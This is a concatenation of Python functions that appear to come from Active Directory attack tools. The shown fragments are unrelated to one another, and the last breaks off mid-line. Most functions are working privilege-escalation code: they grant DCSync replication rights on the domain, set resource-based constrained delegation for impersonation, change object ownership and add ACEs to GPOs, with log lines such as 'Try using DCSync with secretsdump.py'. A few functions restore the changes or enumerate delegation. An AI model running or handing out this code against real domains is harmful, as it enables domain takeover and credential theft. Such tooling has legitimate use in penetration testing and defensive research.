def get_allowed_to_act(self): # Get target's msDS-AllowedToActOnBehalfOfOtherIdentity attribute self.ldap_session.search(self.DN_delegate_to, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.ldap_session.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: logging.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) if len(sd['Dacl'].aces) > 0: logging.info('Accounts allowed to act on behalf of other identity:') for ace in sd['Dacl'].aces: SID = ace['Ace']['Sid'].formatCanonical() SamAccountName = self.get_sid_info(ace['Ace']['Sid'].formatCanonical())[1] logging.info(' %-10s (%s)' % (SamAccountName, SID)) else: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') except IndexError: logging.info('Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty') # Create DACL manually sd = create_empty_sd() return sd, targetuser
def do_write_gpo_dacl(self,line): args = shlex.split(line) print ("Adding %s to GPO with GUID %s" % (args[0], args[1])) if len(args) != 2: raise Exception("A samaccountname and GPO sid are required.") tgtUser = args[0] gposid = args[1] self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid']) if len( self.client.entries) <= 0: raise Exception("Didnt find the given user") user = self.client.entries[0] controls = security_descriptor_control(sdflags=0x04) self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls) if len( self.client.entries) <= 0: raise Exception("Didnt find the given gpo") gpo = self.client.entries[0] secDescData = gpo['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) newace = self.create_allow_ace(str(user['objectSid'])) secDesc['Dacl']['Data'].append(newace) data = secDesc.getData() self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result["result"] == 0: print('LDAP server claims to have taken the secdescriptor. Have fun') else: raise Exception("something wasnt right")
def get_enrollment_principals(entry): # Mostly taken from github.com/ly4k/Certipy/certipy/security.py sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd.fromString(entry["raw_attributes"]["nTSecurityDescriptor"][0]) enrollment_uuids = [ "00000000-0000-0000-0000-000000000000", # All-Extended-Rights "0e10c968-78fb-11d2-90d4-00c04f79dc55", # Certificate-Enrollment "a05b8cc2-17bc-4802-a710-e7c15ab866a2", # Certificate-AutoEnrollment ] enrollment_principals = set() for ace in (a for a in sd["Dacl"]["Data"] if a["AceType"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE): sid = format_sid(ace["Ace"]["Sid"].getData()) if ace["Ace"]["ObjectTypeLen"] == 0: uuid = bin_to_string( ace["Ace"]["InheritedObjectType"]).lower() else: uuid = bin_to_string(ace["Ace"]["ObjectType"]).lower() if not uuid in enrollment_uuids: continue enrollment_principals.add(sid) return enrollment_principals
def delegateAttack(self, usersam, targetsam, domainDumper, sid): global delegatePerformed if targetsam in delegatePerformed: LOG.info('Delegate attack already performed for this computer, skipping') return if not usersam: usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) self.config.escalateuser = usersam if not sid: # Get escalate user sid result = self.getUserInfo(domainDumper, usersam) if not result: LOG.error('User to escalate does not exist!') return escalate_sid = str(result[1]) else: escalate_sid = usersam # Get target computer DN result = self.getUserInfo(domainDumper, targetsam) if not result: LOG.error('Computer to modify does not exist! (wrong domain?)') return target_dn = result[0] self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) targetuser = None for entry in self.client.response: if entry['type'] != 'searchResEntry': continue targetuser = entry if not targetuser: LOG.error('Could not query target user properties') return try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) LOG.debug('Currently allowed sids:') for ace in sd['Dacl'].aces: LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) except IndexError: # Create DACL manually sd = create_empty_sd() sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: LOG.info('Delegation rights modified succesfully!') LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) delegatePerformed.append(targetsam) else: if self.client.result['result'] == 50: LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: LOG.error('The server returned an error: %s', self.client.result['message']) return
def do_set_rbcd(self, line): args = shlex.split(line) if len(args) != 1 and len(args) != 2: raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) target_name = args[0] grantee_name = args[1] target_sid = args[0] grantee_sid = args[1] success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) target = self.client.entries[0] target_sid = target["objectSid"].value print("Found Target DN: %s" % target.entry_dn) print("Target SID: %s\n" % target_sid) success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) grantee = self.client.entries[0] grantee_sid = grantee["objectSid"].value print("Found Grantee DN: %s" % grantee.entry_dn) print("Grantee SID: %s" % grantee_sid) try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['msDS-AllowedToActOnBehalfOfOtherIdentity'].raw_values[0]) print('Currently allowed sids:') for ace in sd['Dacl'].aces: print(' %s' % ace['Ace']['Sid'].formatCanonical()) if ace['Ace']['Sid'].formatCanonical() == grantee_sid: print("Grantee is already permitted to perform delegation to the target host") return except IndexError: sd = self.create_empty_sd() sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) if self.client.result['result'] == 0: print('Delegation rights modified successfully!') print('%s can now impersonate users on %s via S4U2Proxy' % (grantee_name, target_name)) else: if self.client.result['result'] == 50: raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: raise Exception('The server returned an error: %s', self.client.result['message'])
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Dictionary for restore data restoredata = {} # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) LOG.info('Try using DCSync with secretsdump.py and this user :)') config.set_priv(True) config.set_dcsync(True) # Query the SD again to see what AD made of it self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['target_dn'] = dn restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True self.writeRestoreData(restoredata, dn) return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def remove_addmember_privs(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m( '%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: # Manual operation accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP if RestoreOperation.dacl_remove_ace( secDesc, 'bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException( '%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('AddMember privileges restored successfully') return True else: raise RestoreException( 'Failed to restore WriteMember privs on group %s: %s' % (data['target_dn'], str(ldapconnection.result)))
def remove_domain_sync(ldapconnection, data): # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) usersid = data['target_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) old_sd = binascii.unhexlify(data['old_sd']) if secDescData == old_sd: print_m( '%s security descriptor is identical to before operation, skipping' % data['target_dn']) return True new_sd = binascii.unhexlify(data['new_sd']) if secDescData != new_sd: accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes if RestoreOperation.dacl_remove_ace(secDesc, '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype) and \ RestoreOperation.dacl_remove_ace(secDesc, '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype): print_m('Removing ACE using manual approach') replace_sd = secDesc.getData() else: raise RestoreException( '%s security descriptor does not contain the modified ACE. The access may already be restored.' % data['target_dn']) else: # We can simply restore the old SD since the current SD is identical to the one after our modification print_m('Removing ACE using SD restore approach') replace_sd = old_sd res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [replace_sd])}, controls=controls) if res: print_o('Domain Sync privileges restored successfully') return True else: raise RestoreException( 'Failed to restore Domain sync privs on domain %s: %s' % (data['target_dn'], str(ldapconnection.result)))
def write_owner(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) group_sam = get_sam_name(group_bh_name) # Dictionary for restore data restoredata = {} ldapconnection.search( get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m('%s is already owned by %s, skipping' % (group_sam, user_sam)) return True # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid restoredata['old_owner_sid'] = secDesc['OwnerSid'].formatCanonical() # Modify the sid secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Owner change successful') restoredata['success'] = True state.push_history('write_owner', restoredata) return True else: restoredata['success'] = False state.push_history('write_owner', restoredata) raise ExploitException('Failed to change owner of group %s to %s: %s' % (dn, userdn, str(ldapconnection.result)))
def aclAttack(self, userDn, domainDumper): global alreadyEscalated if alreadyEscalated: LOG.error('ACL attack already performed. Refusing to continue') return # Query for the sid of our user self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) entry = self.client.entries[0] username = entry['sAMAccountName'].value usersid = entry['objectSid'].value LOG.debug('Found sid for user %s: %s' % (username, usersid)) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) alreadyEscalated = True LOG.info('Querying domain security descriptor') self.client.search( domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = self.client.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) dn = entry.entry_dn data = secDesc.getData() self.client.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if self.client.result['result'] == 0: alreadyEscalated = True LOG.critical( 'Success! User %s now has Replication-Get-Changes-All privileges on the domain' % username) LOG.info('Try using DCSync with secretsdump.py and this user :)') return True else: LOG.error('Error when updating ACL: %s' % self.client.result) return False
def do_grant_control(self, line): args = shlex.split(line) if len(args) != 1 and len(args) != 2: raise Exception("Error expecting target and grantee names for RBCD attack. Recieved %d arguments instead." % len(args)) controls = security_descriptor_control(sdflags=0x04) target_name = args[0] grantee_name = args[1] success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(target_name), attributes=['objectSid', 'nTSecurityDescriptor'], controls=controls) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) target = self.client.entries[0] target_sid = target["objectSid"].value print("Found Target DN: %s" % target.entry_dn) print("Target SID: %s\n" % target_sid) success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(grantee_name), attributes=['objectSid']) if success is False or len(self.client.entries) != 1: raise Exception("Error expected only one search result got %d results", len(self.client.entries)) grantee = self.client.entries[0] grantee_sid = grantee["objectSid"].value print("Found Grantee DN: %s" % grantee.entry_dn) print("Grantee SID: %s" % grantee_sid) try: sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=target['nTSecurityDescriptor'].raw_values[0]) except IndexError: sd = self.create_empty_sd() sd['Dacl'].aces.append(self.create_allow_ace(grantee_sid)) self.client.modify(target.entry_dn, {'nTSecurityDescriptor':[ldap3.MODIFY_REPLACE, [sd.getData()]]}, controls=controls) if self.client.result['result'] == 0: print('DACL modified successfully!') print('%s now has control of %s' % (grantee_name, target_name)) else: if self.client.result['result'] == 50: raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) elif self.client.result['result'] == 19: raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) else: raise Exception('The server returned an error: %s', self.client.result['message'])
def create_empty_sd(): sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd['Revision'] = b'\x01' sd['Sbz1'] = b'\x00' sd['Control'] = 32772 sd['OwnerSid'] = ldaptypes.LDAP_SID() # BUILTIN\Administrators sd['OwnerSid'].fromCanonical('S-1-5-32-544') sd['GroupSid'] = b'' sd['Sacl'] = b'' acl = ldaptypes.ACL() acl['AclRevision'] = 4 acl['Sbz1'] = 0 acl['Sbz2'] = 0 acl.aces = [] sd['Dacl'] = acl return sd
def remove_owner(ldapconnection, data): # Set SD flags to only query for owner controls = security_descriptor_control(sdflags=0x01) usersid = data['old_owner_sid'] ldapconnection.search( data['target_dn'], '(objectClass=*)', search_scope=BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) if secDesc['OwnerSid'].formatCanonical() == usersid: print_m( '%s is owned by the same user as before exploitation, skipping' % data['target_dn']) return True secDesc['OwnerSid'] = LDAP_SID() secDesc['OwnerSid'].fromCanonical(usersid) secdesc_data = secDesc.getData() res = ldapconnection.modify( data['target_dn'], {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [secdesc_data])}, controls=controls) if res: print_o('Owner restore succesful') return True else: # Constraintintersection means we can't change the owner to this SID # TODO: investigate why this is and possible workarounds if ldapconnection.result['result'] == 19: print_f( 'Failed to change owner of group %s to %s. This is a known limitation, please restore the owner manually.' % (data['target_dn'], usersid)) # Treat this as a success return True raise RestoreException( 'Failed to change owner of group %s to %s: %s' % (data['target_dn'], usersid, str(ldapconnection.result)))
def add_domain_sync(ldapconnection, state, user_sam, domain_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying domain security descriptor') ldapconnection.search( get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] # This shouldn't happen but lets be sure just in case if ldap2domain(entry.entry_dn).upper() != domain_name.upper(): raise ExploitException( 'Wrong domain! LDAP returned the domain %s but escalation was requested to %s' % (ldap2domain(entry.entry_dn).upper(), domain_name.upper())) secDescData = entry['nTSecurityDescriptor'].raw_values[0] # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # We need "control access" here for the extended attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS # these are the GUIDs of the get-changes and get-changes-all extended attributes secDesc['Dacl']['Data'].append( create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) secDesc['Dacl']['Data'].append( create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search( get_ldap_root(ldapconnection), '(&(objectCategory=domain))', attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_domain_sync', restoredata) return True else: restoredata['success'] = False state.push_history('add_domain_sync', restoredata) raise ExploitException('Failed to add DCSync privs to %s: %s' % (userdn, str(ldapconnection.result)))
def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): standardrights = [ self.GENERIC_ALL, self.GENERIC_WRITE, self.GENERIC_READ, ACCESS_MASK.WRITE_DACL ] for entry in entries: if entry['type'] != 'searchResEntry': continue dn = entry['dn'] try: sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] except IndexError: # We don't have the privileges to read this security descriptor LOG.debug('Access to security descriptor was denied for DN %s', dn) continue hasFullControl = False secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() secDesc.fromString(sdData) if secDesc['OwnerSid'] != '' and secDesc[ 'OwnerSid'].formatCanonical() in membersids: sid = secDesc['OwnerSid'].formatCanonical() LOG.debug( 'Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) hasFullControl = True # Iterate over all the ACEs for ace in secDesc['Dacl'].aces: sid = ace['Ace']['Sid'].formatCanonical() if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: continue if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag( ACE.INHERIT_ONLY_ACE): # ACE is set on this object, but only inherited, so not applicable to us continue # Check if the ACE has restrictions on object type (inherited case) if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace.hasFlag(ACE.INHERITED_ACE) \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): # Verify if the ACE applies to this object type inheritedObjectType = bin_to_string( ace['Ace']['InheritedObjectType']).lower() if not self.aceApplies( inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): continue # Check for non-extended rights that may not apply to us if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace'][ 'Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): # Check if this applies to our objecttype if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[ 'Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE. ACE_OBJECT_TYPE_PRESENT): objectType = bin_to_string( ace['Ace']['ObjectType']).lower() if not self.aceApplies( objectType, entry['raw_attributes']['objectClass'][-1]): # LOG.debug('ACE does not apply, only to %s', objectType) continue if sid in membersids: # Generic all if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): ace.dump() LOG.debug( 'Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) hasFullControl = True if can_create_users(ace) or hasFullControl: if not hasFullControl: LOG.debug( 'Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) if dn == 'CN=Users,%s' % domainDumper.root: # We can create users in the default container, this is preferred privs['create'] = True privs['createIn'] = dn else: # Could be a different OU where we have access # store it until we find a better place if privs[ 'createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry[ 'raw_attributes']['objectClass']: privs['create'] = True privs['createIn'] = dn if can_add_member(ace) or hasFullControl: if b'group' in entry['raw_attributes']['objectClass']: # We can add members to a group if not hasFullControl: LOG.debug( 'Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) privs['escalateViaGroup'] = True privs['escalateGroup'] = dn if ace['Ace']['Mask'].hasPriv( ACCESS_MASK.WRITE_DACL) or hasFullControl: # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to # a property, which is both weird and useless, so we skip it if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') continue if not hasFullControl: LOG.debug( 'Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) # We can modify the domain Dacl if b'domain' in entry['raw_attributes']['objectClass']: privs['aclEscalate'] = True privs['aclEscalateIn'] = dn
def add_addmember_privs(ldapconnection, state, user_sam, group_bh_name): # Query for the sid of our target user userdn, usersid = get_object_info(ldapconnection, user_sam) # Set SD flags to only query for DACL controls = security_descriptor_control(sdflags=0x04) # Dictionary for restore data restoredata = {} # print_m('Querying group security descriptor') group_sam = get_sam_name(group_bh_name) ldapconnection.search( get_ldap_root(ldapconnection), '(sAMAccountName=%s)' % escape_filter_chars(group_sam), attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] secDescData = entry['nTSecurityDescriptor'].raw_values[0] secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) # Save old SD for restore purposes restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') restoredata['target_sid'] = usersid # We need "write property" here to write to the "member" attribute accesstype = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP # this is the GUID of the Member attribute secDesc['Dacl']['Data'].append( create_object_ace('bf9679c0-0de6-11d0-a285-00aa003049e2', usersid, accesstype)) dn = entry.entry_dn restoredata['target_dn'] = dn data = secDesc.getData() res = ldapconnection.modify( dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) if res: print_o('Dacl modification successful') # Query the SD again to see what AD made of it ldapconnection.search( dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName', 'nTSecurityDescriptor'], controls=controls) entry = ldapconnection.entries[0] newSD = entry['nTSecurityDescriptor'].raw_values[0] newSecDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=newSD) # Save this to restore the SD later on restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') restoredata['success'] = True state.push_history('add_addmember_privs', restoredata) return True else: restoredata['success'] = False state.push_history('add_addmember_privs', restoredata) # filter out already exists? raise ExploitException( 'Failed to add WriteMember privs for %s to group %s: %s' % (userdn, dn, str(ldapconnection.result)))
def run(self): if self.__doKerberos: target = self.getMachineName() else: if self.__kdcHost is not None and self.__targetDomain == self.__domain: target = self.__kdcHost else: target = self.__targetDomain # Connect to LDAP try: ldapConnection = ldap.LDAPConnection('ldap://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) except ldap.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL ldapConnection = ldap.LDAPConnection('ldaps://%s' % target, self.baseDN, self.__kdcHost) if self.__doKerberos is not True: ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) else: raise searchFilter = "(&(|(UserAccountControl:1.2.840.113556.1.4.803:=16777216)(UserAccountControl:1.2.840.113556.1.4.803:=" \ "524288)(msDS-AllowedToDelegateTo=*)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(UserAccountControl:1.2.840.113556.1.4.803:=8192)))" try: resp = ldapConnection.search( searchFilter=searchFilter, attributes=[ 'sAMAccountName', 'pwdLastSet', 'userAccountControl', 'objectCategory', 'msDS-AllowedToActOnBehalfOfOtherIdentity', 'msDS-AllowedToDelegateTo' ], sizeLimit=999) except ldap.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: raise answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' userAccountControl = 0 delegation = '' objectType = '' rightsTo = [] protocolTransition = 0 #after receiving responses we parse through to determine the type of delegation configured on each object try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'Unconstrained' rightsTo.append("N/A") elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'Constrained w/ Protocol Transition' protocolTransition = 1 elif str(attribute['type']) == 'objectCategory': objectType = str( attribute['vals'][0]).split('=')[1].split(',')[0] elif str(attribute['type']) == 'msDS-AllowedToDelegateTo': if protocolTransition == 0: delegation = 'Constrained' for delegRights in attribute['vals']: rightsTo.append(str(delegRights)) #not an elif as an object could both have rbcd and another type of delegation configured for the same object if str(attribute['type'] ) == 'msDS-AllowedToActOnBehalfOfOtherIdentity': rbcdRights = [] rbcdObjType = [] searchFilter = '(&(|' sd = ldaptypes.SR_SECURITY_DESCRIPTOR( data=bytes(attribute['vals'][0])) for ace in sd['Dacl'].aces: searchFilter = searchFilter + "(objectSid=" + ace[ 'Ace']['Sid'].formatCanonical() + ")" searchFilter = searchFilter + ")(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))" delegUserResp = ldapConnection.search( searchFilter=searchFilter, attributes=['sAMAccountName', 'objectCategory'], sizeLimit=999) for item2 in delegUserResp: if 